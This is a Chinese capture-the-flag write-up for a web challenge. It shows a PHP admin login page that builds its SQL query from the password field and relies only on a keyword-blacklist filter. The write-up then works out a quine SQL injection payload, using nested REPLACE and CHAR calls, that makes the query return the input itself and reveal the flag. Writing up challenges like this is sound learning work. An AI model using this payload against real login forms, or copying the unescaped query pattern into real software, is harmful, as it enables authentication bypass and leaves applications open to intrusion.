2021-第五空间智能安全大赛-Web-yet_another_mysql_injection
quine注入
首先分析源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| <?php include_once("lib.php"); function alertMes($mes,$url){ die("<script>alert('{$mes}');location.href='{$url}';</script>"); }
function checkSql($s) { if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){ alertMes('hacker', 'index.php'); } }
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') { $username=$_POST['username']; $password=$_POST['password']; if ($username !== 'admin') { alertMes('only admin can login', 'index.php'); } checkSql($password); $sql="SELECT password FROM users WHERE username='admin' and password='$password';"; $user_result=mysqli_query($con,$sql); $row = mysqli_fetch_array($user_result); if (!$row) { alertMes("something wrong",'index.php'); } if ($row['password'] === $password) { die($FLAG); } else { alertMes("wrong password",'index.php'); } }
if(isset($_GET['source'])){ show_source(__FILE__); die; } ?>
<!-- source code here: /?source -->
<!DOCTYPE html> <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="initial-scale=1.0, user-scalable=no, width=device-width"> <title>SQLi</title> <link rel="stylesheet" type="text/css" href="./files/reset.css"> <link rel="stylesheet" type="text/css" href="./files/scanboardLogin.css"> <link rel="stylesheet" type="text/css" href="./files/animsition.css"> </head> <body> <div class="wp animsition" style="animation-duration: 0.8s; opacity: 1;"> <div class="boardLogin"> <div class="logo "> LOGIN AS ADMIN! </div> <form action="index.php" method="post"> <div class="inpGroup"> <span class="loginIco1"></span> <input type="text" name="username" placeholder="请输入您的用户名"> </div>
<div class="inpGroup"> <span class="loginIco2"></span> <input type="password" name="password" placeholder="请输入您的密码"> </div> <div class="prompt"> <p class="success">输入正确</p> </div>
<button class="submit">登录</button> </form> </div> </div> <div id="particles-js"><canvas class="particles-js-canvas-el" style="width: 100%; height: 100%;" width="3360" height="1780"></canvas></div>
<script type="text/javascript" src="./files/jquery.min.js"></script> <script type="text/javascript" src="./files/jquery.animsition.js"></script> <script src="./files/particles.min.js"></script> <script src="./files/app.js"></script> <script type="text/javascript"> $(".animsition").animsition({ inClass : 'fade-in', outClass : 'fade-out', inDuration : 800, outDuration : 1000, linkElement : '.animsition-link',
loading : false, loadingParentElement : 'body', loadingClass : 'animsition-loading', unSupportCss : [ 'animation-duration', '-webkit-animation-duration', '-o-animation-duration' ],
overlay : false,
overlayClass : 'animsition-overlay-slide', overlayParentElement : 'body' }); </script>
</body></html>
|
- 首先username==admin
- password需要过审核checkSql函数
- 执行后的语句要和password强相等
所以需要构造酱紫的palyoad
'/**/union/**/select(REPLACE(REPLACE('"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#',CHAR(34),CHAR(39)),CHAR(33),'"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#'))#
首先
1 2 3
| CHAR(34)=" CHAR(39)=' CHAR(33)=!
|
我们令
1 2 3 4
| str2= "/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))# str1= '/**/union/**/select(REPLACE(REPLACE('!',CHAR(34),CHAR(39)),CHAR(33),'!'))#
|
(两者区别是引号)
password变成
'/**/union/**/select(REPLACE(REPLACE('str2',CHAR(34),CHAR(39)),CHAR(33),'str2'))#
执行内层REPLACE
'/**/union/**/select(REPLACE(str1,CHAR(33),'str2'))#
再执行
'/**/union/**/select(REPLACE(REPLACE('str2',CHAR(34),CHAR(39)),CHAR(33),'str2'))#
结果和password是一样的!!!